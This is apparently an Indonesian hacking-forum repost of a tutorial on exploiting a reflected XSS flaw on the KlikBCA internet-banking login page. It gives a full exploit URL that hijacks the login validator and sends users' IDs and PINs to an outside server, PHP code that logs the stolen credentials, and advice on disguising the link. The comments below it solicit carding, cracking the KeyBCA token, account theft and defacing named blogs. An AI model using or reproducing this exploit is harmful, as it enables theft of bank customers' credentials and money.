Security KlikBCA – Recover Password With XSS
Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.
Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.
The Vulnerability

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
</script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--
URL di atas menghasilkan source html berikut:
1 2 3 4 5 6 |
<script type=“text/javascript”> var err=‘TEST’;alert(document.cookie);<!–‘ alert(err); iBankForm.action=’login.jsp‘; iBankForm.submit(); </script> |
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.
Strategy and Tactics
Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:
- Meng-intercept klik tombol submit
- Mengirimkan user dan password ke server saya
- Mencatat user dan password di server saya
Intercepting Submit Button
Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.
1 2 3 |
<input type=“Submit” value=“LOGIN” name=“value(Submit)” onclick=“javascript:return Login_Form_Validator(document.frmParam)” onmouseover=“this.style.cursor=’hand’” /> |
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.
function Login_Form_Validator( theForm ) {
document.forms[0]['value(user_id)'].autocomplete = ‘off’;
document.forms[0]['value(pswd)'].autocomplete = ‘off’;
var blnResponse = false;
if (blnSubmitted) {
return false;
}
var strErrMsg = “”;
if( document.forms[0]['value(user_id)'].value == ”) {
alert(“Silakan mengisi User ID anda/Please input your User ID”);
document.forms[0]['value(user_id)'].focus();
return false;
}
if( document.forms[0]['value(user_id)'].value.length>12) {
alert(“User ID/Password Anda salah / Your User ID/Password is Wrong”);
document.forms[0]['value(user_id)'].select();
document.forms[0]['value(user_id)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value == ”) {
alert(“Silakan mengisi PIN anda/Please input your PIN”);
document.forms[0]['value(pswd)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value.length<6) {
alert(“PIN harus 6 Angka/PIN must be 6 digits”);
document.forms[0]['value(pswd)'].focus();
return false;
}
//if(strErrMsg != ”) {
// alert(strErrMsg);
// return false;
//}
//blnSubmitted = confirm(“Click OK to login.”);
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}
//if(‘< %= blnLogout %>’==’true’)
//blnResponse = false;
return blnResponse;
}
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.
Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.
Jadi URL untuk menjalankan taktik saya di atas adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--URL tersebut menghasilkan source html berikut:
var err=‘TEST’;function Login_Form_Validator(theForm){alert(‘TEST’);return false;}</script><noscript><!–‘
alert(err);
iBankForm.action=’login.jsp‘;
iBankForm.submit();
</script>

Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.
Sending username and password
Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.
Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(pswd)'].value
Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].valueSelanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.
Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.
Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src=‘http://www.ilmuhacking.com/testcapture.php‘+‘?userid=’+document.forms[0]['value(user_id)'].value+‘&passwd=’+document.forms[0]['value(pswd)'].value;
abc = true;
return false;
}
}
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--
URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:
Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:
http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456
Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.
Saving User and Password
Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php
Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:
1 2 3 4 5 6 7 8 9 10 11 |
<?php $file=fopen(“capture.txt”,“a+”); $userid=$_GET["userid"]; $passwd=$_GET["passwd"]; $ipaddr=$_SERVER["REMOTE_ADDR"]; $now = date(“Ymd H:i:s”); if (!empty($userid)) { fwrite($file,“$userid =&gt; $passwd (at $now from $ipaddr)\n“); } fclose($file); ?> |
Kesimpulan
Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities
Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.
=================== [ EOF ] =====================
Thanks for Rizki from IlmuHacking [IHC]
Dedicated to BinusHacker Member & All Of You










pertamax lg!!!!
info yg bagus..
kpn lah ane bisa buat kayak gini!!
wkwkwkwkwk..
wah biar udah enkripsi ssl 128 bit ternyata kelemahannya ada di web application, tapi kalo kagak daptarin key bca aman kagak noh? khan cuma bisa liat saldo
wew dah mainan carding
ampon gan
Kzkz
bisa ngisi rek yg kosong gk neh?
kalo bisa hasilnya bagi dua deh….!!
wuih asik juga neh..
hahaaaa
cari acc yok
xD
wahh mantabs. tapi kan kalo mau transfer segala macem harus pake keybca ya. gimana tuh?
btw
oh iya para defacer binushacker
defacing blog malaysia yang ini dong esmosi bgt gw liatnya..
hehehe..
http://www.indonbabi.blogspot.com/
http://www.indoncelaka.blogspot.com/
Hi, very nice post. I have been wonder’n bout this issue,so thanks for posting
Wew, trus cara memasukan page yg udah kita coding ulang ke server BCA gmana?? Bobol servernya BCA??
) Ini trik udah kuno. jadi maksudnya kita harus buat domainnya yg menyamar (mirip klikbca) biar orang keliru. Sama kayak trik daeptin pswd friendster dan lain2x. Kalo pelnggan BCA orang cerdas kayak saya, ga mungkin ke bobol. Kecuali Anda bobol server BCA.
ni yg kaya di bukunya s’to ya..
mantap tu bro ada yang mau join ama gua ga hasil bagi dua
mantap bung.ada info lagi langsung kirim ke email gw yakh…
gila.hack@yahoo.com
wuihhh, pe ngantuk baca’y,,
da yg mw ngajarin gx…?
kurang ngerti praktek’y bang…
dong dong dong dong…. mayan lah untuk carding awal..
selanjutnya cracking key BCA nya dong gan
OK username dan pass dah dapet nih gan,,
stiap transaksi minta dimasukin kerBCA nya
di tunggu keygen nya gan……
wuuiiihh……… muuannntap buanget. tolong dong master kalau ada script atau apa namanya yg bisa buka semua kartu yg di pegang lawan saya mau atau username + password account dari fb, myspace etc.
NB: akan di beri imbalan jasa. mohon imbalan jasa yg di kehendaki kirim ke email: chip-poker@telkom.net
terimakasih
itu buat bca aja…
kloe bwt bank yg lain bisa g?
kalo dah bisa login terus ngapain
crack token nya dong bos
buatin software keybca pin generator …
Definitely
Crack Token..
Hhaa.. ^_^
Ini trik udah kuno. jadi maksudnya kita harus buat domainnya yg menyamar (mirip klikbca) biar orang keliru. Sama kayak trik daeptin pswd friendster dan lain2x. Kalo pelnggan BCA orang cerdas kayak saya, ga mungkin ke bobol. Kecuali Anda bobol server BCA.
om…bsa jelasin sdikit gag…cuz ane sdkit bingung….thx…..
weleh2. ada tutor gini udah kayak orang gila…tapi bagus juga?hahaha
tak nantikan tutor yang lainnya bos!!!!
Klo udah bisa “BOTNET” diajarin ya master!!!
tak tunggu.
mantab bozzzz
mo nanya donk boz
gimana alamat klikbca jika disikan secara langsung…di address browser
apakah begini ya….
https://ibank.klikbca.com/login.jsp?&login=firda7898&paswd=123456
saya kira binushacker team memang benar2 jago dalam masalah hacking seperti yang saya sering dengar, tetapi sebaliknya setelah mengetahui bahwa binushacker cuma meng-COPY PASTE CARA2 KUNO HACKING DARI WEBSITE LAIN…
saya yakin kalau cara USANG untuk exploit xss klikbca.com anda peroleh dari COPY PASTE dari web lain…
Binus HCKR Community Underground ???
UtuH WibowO ??? (admin@utuhwibowo.com) ???
Jln. Binus HCKR Community Jakarta ???
Indonesian UnderGround Community HCKR TOWER – Floor 8 ???
Jakarta Barat ???
DKI Jakarta,91100 ???
ID
Tel. +62.8568373756 ???
@Irwan: Artikel diatas merupakan milik rizky dari ilmu hacking.. Kan sudah jelas, dari susunan step stepnya.. Disini hanya berbagi kepada yang belum tahu.
Kebanyakan artikel adalah dari teman² dan banyak juga yang copy paste.
Baca selengkapnya di: http://www.binushacker.net/abouts
Untuk domain whois http://www.binushacker.net demikianlah adanya tertulis.
Dan yang bertanggung jawab atas domain ini ya saya sendiri.
Irwan, binushacker bukan tempat untuk menunjukkan siapa yang jago / tidak. Kami tidak pernah merasa jago, kami disini hanya untuk berbagi ilmu pengetahuan. Seluruh BinusHacker sepakat dengan hal ini q:)
Keep open minded with share the knowledge.
Enjoy & eat it! Salam..
wew….saya rasa bener keep open minded wuth share the knowledge..
daripada tonk kosong cuman nyanring bunyinya……
huekk…hueekkkk….hueeekkk
:p
wewww keyen keyen
wah,,,, postingan di atas berarti harus menguasai konsep WEB master and jaringan <===== inilah yang membutuhkan waktu yang lama bagi para newbie seperti kami, karena kami pun belum tahu menahu banyak soal script web, php n my sql, dan masih banyak lagi, bagi bapak forum mohon di sediakan article tentang tutorial membuat web hosting, mohon konfirmasinya, bapak FORUM
Firefox users only:
case “buat_attacker”:
Next time daripada ribet gmn ganti script ini itu ABCD… use Firebug ( https://addons.mozilla.org/en-US/firefox/addon/1843 );
Dan lagi klo mau pasang XPLOIT di clientbrowser… pake GreaseMonkey ( https://addons.mozilla.org/firefox/addon/748 ). Bisa CrossDomain AJAX (baik GET atau POST);
Pastikan default browser adalah FireFox, kill aplikasi browser lain (rename DLL utama mreka maybe ?) Jd user mau gak mau hrs pake Firefox;
break;
case “buat_user”:
Pastikan klo browsing untuk hal confidential spt itu, spt yg udah ditulis, HTTPS bukan jaminan dari segala keamanan.
Salah satunya harus secara manual liat di pojok kanan bawah browser FireFox anda. Ada logo monyet coklat nyala ? segera matikan dengan klik sampe itu monyet jd pucet abu²;
break;
Salam…
Aku punya Acount BCAnya orang, tapi aku ga bisa nyedot tuh duinta, karena harus ada KeyBCA. apakah ada software yang bisa digunakan untuk pengganti KeyBCA..?
tolong info balik. sebelumnya makasih banyak.
@IRWAN : kl anda dah measa bisa shared dong ma yg blom bisa,,, mendingan copy paste dri punya rang tpi sifatnya nyebar ilmu,,, dri pada banyak omong ga mo nyebarin ilmu,,,,, NAJIZzzzzz U Wan,,,, Cueweh………….
@SUHU UTUh : Setuju deh sama suhu utuh,,,,,, Maju Truz BH…… jangan dengerin komentar ga berkelas kaya IRWAN……
wuah…ribut mau jadi yg terbaik negh!!!
tidak ada hacker yg sebut dirinya hacker!!
hehehehhe….
ketahuan klau hacker beneran bisa dikejar INTERPOL
loh….
wah boleh juga nih.
kpan2 harus di coba juga,
qu mnta rumusnya hack blogger donk.
tlog di kirim in di e-mail qu (adi.hardcore2@ymail.com)
gak ngerti gan
kakak…ajarin cara hack donk
saya binusian jg tp ga prna denger ada binushacker
tmpt ngumpulnya dmn?biar saya belajar lsng dr suhu nya…
jng cuma suka instant… gak berkembang sob… belajar sabar…jng cepat putus asa… keep tryng :’)